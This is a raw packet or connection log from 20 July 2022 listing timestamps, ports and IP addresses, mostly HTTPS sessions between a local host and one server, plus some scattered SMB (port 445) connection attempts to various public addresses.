Jul 20, 2022 06:05:54.988924026 CEST	443	49742	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:54.988943100 CEST	49742	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:54.988954067 CEST	49742	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:54.989093065 CEST	49742	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:55.107419968 CEST	49742	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:55.107449055 CEST	443	49742	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:55.113168001 CEST	49743	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:55.113209963 CEST	443	49743	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:55.113279104 CEST	49743	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:55.114013910 CEST	49743	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:55.114027023 CEST	443	49743	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:55.168059111 CEST	443	49743	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:55.168220043 CEST	49743	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:55.178608894 CEST	49743	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:55.178622007 CEST	443	49743	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:55.188618898 CEST	49743	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:55.188632011 CEST	443	49743	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:55.206152916 CEST	443	49743	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:55.206237078 CEST	443	49743	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:55.206263065 CEST	49743	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:55.206281900 CEST	443	49743	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:55.206319094 CEST	443	49743	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:55.206336975 CEST	49743	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:55.206403017 CEST	49743	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:55.316999912 CEST	49743	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:55.317039967 CEST	443	49743	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:55.801027060 CEST	49744	445	192.168.2.6	8.96.190.50
Jul 20, 2022 06:05:56.040667057 CEST	49745	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.040726900 CEST	443	49745	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.040832043 CEST	49745	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.073007107 CEST	49745	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.073039055 CEST	443	49745	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.126049042 CEST	49749	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.126075983 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.126152039 CEST	49749	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.132452965 CEST	443	49745	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.132837057 CEST	49745	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.158205986 CEST	49745	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.158222914 CEST	443	49745	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.159590006 CEST	49745	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.159605980 CEST	443	49745	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.162735939 CEST	49749	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.162751913 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.181444883 CEST	443	49745	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.181474924 CEST	443	49745	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.181540012 CEST	443	49745	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.181550026 CEST	49745	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.181579113 CEST	49745	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.181628942 CEST	49745	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.185430050 CEST	49751	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.185480118 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.185580015 CEST	49751	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.187942028 CEST	49751	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.187963009 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.189784050 CEST	49745	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.189822912 CEST	443	49745	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.243716002 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.243849039 CEST	49749	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.249629021 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.251461983 CEST	49751	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.260219097 CEST	49751	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.260236025 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.263046980 CEST	49751	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.263056040 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.274581909 CEST	49749	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.274591923 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.275783062 CEST	49749	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.275789976 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.284857035 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.284888983 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.284915924 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.285057068 CEST	49751	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.285093069 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.285157919 CEST	49751	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.296283007 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.296312094 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.296329975 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.296504974 CEST	49749	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.296518087 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.296578884 CEST	49749	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.299873114 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.299957991 CEST	49751	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.299978018 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.300019026 CEST	49751	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.304594994 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.304639101 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.304677963 CEST	49751	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.304697990 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.304730892 CEST	49751	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.304753065 CEST	49751	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.306945086 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.307060957 CEST	49751	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.307073116 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.307128906 CEST	49751	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.310038090 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.310153961 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.310162067 CEST	49751	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.310200930 CEST	49751	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.312901974 CEST	49754	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.312941074 CEST	443	49754	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.313047886 CEST	49754	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.314300060 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.314337015 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.314393044 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.314429045 CEST	49749	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.314439058 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.314486980 CEST	49749	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.314606905 CEST	49754	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.314623117 CEST	443	49754	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.315776110 CEST	49751	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.315788031 CEST	443	49751	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.320987940 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.321011066 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.323352098 CEST	49749	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.323375940 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.323507071 CEST	49749	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.326651096 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.326817989 CEST	49749	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.326819897 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.326833010 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.326904058 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.326916933 CEST	49749	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.326921940 CEST	49749	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.326951981 CEST	49749	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.368374109 CEST	443	49754	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.371347904 CEST	49754	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.387118101 CEST	49754	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.387135983 CEST	443	49754	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.389142990 CEST	49754	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.389154911 CEST	443	49754	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.391381025 CEST	49749	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.391417027 CEST	443	49749	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.408170938 CEST	443	49754	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.408216000 CEST	443	49754	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.408246040 CEST	443	49754	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.408261061 CEST	49754	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.408288002 CEST	443	49754	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.408301115 CEST	49754	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.408343077 CEST	49754	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.408366919 CEST	443	49754	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.408375978 CEST	49754	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.408411026 CEST	49754	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.507061958 CEST	49754	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.507101059 CEST	443	49754	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.625246048 CEST	49761	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.625297070 CEST	443	49761	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.625397921 CEST	49761	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.626159906 CEST	49761	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.626174927 CEST	443	49761	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.686655998 CEST	443	49761	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.686798096 CEST	49761	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.723864079 CEST	49761	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.723879099 CEST	443	49761	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.731964111 CEST	49761	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.731976032 CEST	443	49761	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.751838923 CEST	443	49761	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.751874924 CEST	443	49761	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.751940966 CEST	443	49761	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:56.751991987 CEST	49761	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.752074957 CEST	49761	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:56.899553061 CEST	49763	445	192.168.2.6	190.224.199.95
Jul 20, 2022 06:05:57.409586906 CEST	49761	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:57.409632921 CEST	443	49761	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:57.806196928 CEST	49772	445	192.168.2.6	142.53.114.129
Jul 20, 2022 06:05:57.826169968 CEST	49773	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:57.826226950 CEST	443	49773	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:57.826342106 CEST	49773	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:57.826816082 CEST	49773	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:57.826843023 CEST	443	49773	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:57.883802891 CEST	443	49773	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:57.883892059 CEST	49773	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:57.886689901 CEST	49773	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:57.886714935 CEST	443	49773	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:57.891124964 CEST	49773	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:57.891141891 CEST	443	49773	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:57.917752981 CEST	443	49773	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:57.917787075 CEST	443	49773	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:57.917854071 CEST	443	49773	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:57.917949915 CEST	49773	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:57.923204899 CEST	49773	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:57.974184036 CEST	49775	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:57.974231958 CEST	443	49775	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:57.974322081 CEST	49775	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:57.974977016 CEST	49775	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:57.974992990 CEST	443	49775	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:57.984153032 CEST	49773	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:57.984194040 CEST	443	49773	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.032582998 CEST	443	49775	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.033586025 CEST	49775	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.047959089 CEST	49776	445	192.168.2.6	121.6.45.211
Jul 20, 2022 06:05:58.060105085 CEST	49775	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.060125113 CEST	443	49775	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.061849117 CEST	49775	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.061866999 CEST	443	49775	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.079056025 CEST	443	49775	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.079085112 CEST	443	49775	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.079128027 CEST	49775	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.079148054 CEST	443	49775	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.079165936 CEST	443	49775	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.079169989 CEST	49775	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.079226971 CEST	49775	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.266355038 CEST	49775	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.266387939 CEST	443	49775	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.719283104 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.719341993 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.719470978 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.725425005 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.725465059 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.786190987 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.786268950 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.815223932 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.815251112 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.825930119 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.825956106 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.845839024 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.845873117 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.845892906 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.846014023 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.846035957 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.846048117 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.846122980 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.864909887 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.864964008 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.865087986 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.865118027 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.865174055 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.865622997 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.865703106 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.870464087 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.870490074 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.870665073 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.870685101 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.870735884 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.880206108 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.880263090 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.880320072 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.880348921 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.880366087 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.880412102 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.880470037 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.880530119 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.880549908 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.880557060 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:58.880611897 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.930160046 CEST	49786	445	192.168.2.6	134.43.133.196
Jul 20, 2022 06:05:58.944175005 CEST	49782	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:58.944219112 CEST	443	49782	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.056977034 CEST	49788	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.057030916 CEST	443	49788	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.057127953 CEST	49788	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.064349890 CEST	49788	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.064383030 CEST	443	49788	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.122874022 CEST	443	49788	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.123183012 CEST	49788	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.128278017 CEST	49788	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.128300905 CEST	443	49788	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.131002903 CEST	49788	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.131021976 CEST	443	49788	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.160111904 CEST	443	49788	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.160168886 CEST	443	49788	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.160233021 CEST	443	49788	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.160259008 CEST	49788	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.160291910 CEST	443	49788	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.160305977 CEST	49788	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.160337925 CEST	49788	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.160367966 CEST	49788	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.160526037 CEST	443	49788	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.160597086 CEST	443	49788	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.160604954 CEST	49788	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.160650015 CEST	49788	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.166409969 CEST	49791	445	192.168.2.6	215.65.66.182
Jul 20, 2022 06:05:59.237629890 CEST	49788	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.237677097 CEST	443	49788	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.350322008 CEST	49793	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.350364923 CEST	443	49793	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.350456953 CEST	49793	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.357422113 CEST	49793	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.357450008 CEST	443	49793	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.417968988 CEST	443	49793	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.418216944 CEST	49793	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.450318098 CEST	49793	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.450331926 CEST	443	49793	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.453424931 CEST	49793	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.453434944 CEST	443	49793	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.476372004 CEST	443	49793	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.476403952 CEST	443	49793	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.476427078 CEST	443	49793	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.476507902 CEST	49793	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.476541996 CEST	443	49793	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.476552963 CEST	49793	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.476612091 CEST	49793	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.493038893 CEST	443	49793	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.493163109 CEST	49793	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.493189096 CEST	443	49793	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.493272066 CEST	49793	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.496793032 CEST	443	49793	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.496855974 CEST	443	49793	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.496896029 CEST	443	49793	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.496915102 CEST	49793	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.497056961 CEST	49793	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.592113018 CEST	49798	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.592148066 CEST	443	49798	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.592251062 CEST	49798	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.592760086 CEST	49793	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.592787027 CEST	443	49793	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.629970074 CEST	49798	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.630002022 CEST	443	49798	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.686091900 CEST	443	49798	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.686191082 CEST	49798	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.687771082 CEST	49798	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.687781096 CEST	443	49798	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.724545956 CEST	49798	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.724561930 CEST	443	49798	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.745608091 CEST	443	49798	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.745641947 CEST	443	49798	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.745665073 CEST	443	49798	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.745747089 CEST	49798	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.745764971 CEST	443	49798	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.745804071 CEST	49798	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.745829105 CEST	49798	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.763442993 CEST	443	49798	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.763556957 CEST	49798	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.763583899 CEST	443	49798	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.763645887 CEST	49798	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.766624928 CEST	443	49798	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.766675949 CEST	443	49798	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.766700983 CEST	443	49798	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.766721010 CEST	49798	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.766772032 CEST	49798	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.799653053 CEST	49798	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.799675941 CEST	443	49798	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.837290049 CEST	49801	445	192.168.2.6	65.189.152.65
Jul 20, 2022 06:05:59.934206009 CEST	49804	443	192.168.2.6	23.211.6.115
